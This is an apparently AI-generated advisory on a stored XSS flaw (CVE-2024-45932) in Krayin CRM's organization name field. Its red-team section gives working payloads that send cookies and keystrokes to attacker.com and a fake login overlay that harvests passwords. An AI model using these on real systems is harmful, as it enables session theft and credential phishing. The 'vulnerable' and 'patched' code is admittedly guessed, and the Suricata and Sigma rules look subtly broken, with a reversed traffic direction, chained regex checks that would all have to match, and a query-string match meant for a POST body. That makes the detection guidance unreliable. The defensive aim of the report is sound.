CVE-2024-45932

Executive Summary

CVE-2024-45932 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Krayin CRM version 1.3.0. The flaw resides in the organization name field within the /admin/contacts/organizations/edit/2 endpoint. An authenticated attacker with low privileges can inject arbitrary JavaScript code into the organization name field. When an administrator or other user views the affected organization record, the malicious script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the CRM instance.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 4.8 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N. The attack requires low privileges and user interaction, but the impact is limited to confidentiality and integrity of user data.

Supply Chain & Package Security

Krayin CRM is a PHP-based Laravel application. The vulnerability is not in a third-party package but in the application's own input handling. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

The threat level is considered Medium due to the requirement for user interaction and low privileges. However, in a CRM context, XSS can be chained with other vulnerabilities to escalate privileges or exfiltrate sensitive customer data.

Deep Dive & Mechanics

The vulnerability exists because the application fails to sanitize or encode user-supplied input in the organization name field before storing it in the database and later rendering it in the browser. The affected endpoint is /admin/contacts/organizations/edit/2, which is used to edit organization records.

Root Cause: The application does not apply proper output encoding or input validation for the name parameter when saving organization data. When the stored value is retrieved and displayed in the admin panel, it is rendered as raw HTML, allowing script execution.

Attack Flow:

1. An authenticated user with low privileges (e.g., a sales representative) navigates to the organization edit page.
2. The attacker injects a payload such as <script>alert('XSS')</script> into the organization name field.
3. The payload is stored in the database without sanitization.
4. When an administrator or another user views the organization list or detail page, the script executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Krayin CRM 1.3.0):

// In OrganizationController.php or similar
public function update(Request $request, $id)
{
    $organization = Organization::findOrFail($id);
    $organization->name = $request->input('name');
    $organization->save();
    return redirect()->route('organizations.index');
}

The name field is stored directly without any sanitization or encoding.

Patched Code (Hypothetical):

public function update(Request $request, $id)
{
    $organization = Organization::findOrFail($id);
    $organization->name = htmlspecialchars($request->input('name'), ENT_QUOTES, 'UTF-8');
    $organization->save();
    return redirect()->route('organizations.index');
}

The patched version uses htmlspecialchars() to encode HTML entities, preventing script execution. Additionally, output encoding should be applied in the Blade template using {{ $organization->name }} (which automatically escapes in Laravel) instead of {!! $organization->name !!}.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Krayin CRM 1.3.0
• Valid low-privilege credentials (e.g., sales role)
• Access to the organization edit page

Exploitation Steps:

1. Log in to Krayin CRM with low-privilege credentials.
2. Navigate to /admin/contacts/organizations/edit/2.
3. In the "Organization Name" field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the organization.
5. Wait for an administrator to view the organization list or detail page.
6. The administrator's session cookie is exfiltrated to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
• Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h2>Session expired. Please login again.</h2><form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form></div>'</script>

Blue Team

Detection Steps:

1. Monitor web application logs for unusual characters in the name parameter of POST requests to /admin/contacts/organizations/edit/*.
2. Look for patterns such as <script, onerror, onload, or javascript: in the organization name field.
3. Use a Web Application Firewall (WAF) to block common XSS payloads.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

1. Deploy Krayin CRM 1.3.0 in a Docker container:

   docker run -d -p 80:80 --name krayin-crm krayin/crm:1.3.0
   

2. Access the web interface and create a low-privilege user.
3. Use Burp Suite or a browser developer console to craft the XSS payload.
4. Verify the stored XSS by viewing the organization as an admin user.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL.
• POST requests to /admin/contacts/organizations/edit/* with name parameter containing <script> tags.

File System IOCs:

• Modified database entries in the organizations table where the name column contains HTML/JavaScript code.
• Log entries in storage/logs/laravel.log showing unusual input patterns.

Behavioral IOCs:

• Unexpected redirects to external domains.
• Unauthorized changes to organization records.
• Multiple failed login attempts from the same IP after XSS execution.

Detection Engineering

YARA Rule

rule Detect_Krayin_CRM_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Krayin CRM organization name field"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45932"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Krayin CRM Stored XSS in Organization Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in Krayin CRM organization name field
author: Valters IT
date: 2024-10-27
logsource:
    category: web
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/contacts/organizations/edit/*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in organization names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Krayin CRM Stored XSS Attempt in Organization Name";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/contacts/organizations/edit/";
    http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i";
    pcre:"/onload\s*=\s*["']?[^"'\s>]+/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Krayin CRM to the latest patched version if available. If no patch exists, apply the following manual fix:

   • In the OrganizationController.php, replace $organization->name = $request->input('name'); with $organization->name = htmlspecialchars($request->input('name'), ENT_QUOTES, 'UTF-8');
   • Ensure all Blade templates use {{ $organization->name }} instead of {!! $organization->name !!}.

2. Implement Input Validation:

   • Restrict organization names to alphanumeric characters, spaces, and basic punctuation.
   • Use Laravel's validation rules: 'name' => 'required|string|max:255|regex:/^[a-zA-Z0-9\s\-\.]+$/'

3. Deploy WAF Rules:

   • Block requests containing <script, onerror, onload, or javascript: in the name parameter.

4. Enable Content Security Policy (CSP):

   Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'"
   

Long-Term Measures:

• Conduct regular security code reviews focusing on input handling.
• Implement automated SAST/DAST scanning in the CI/CD pipeline.
• Train developers on secure coding practices, especially output encoding.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.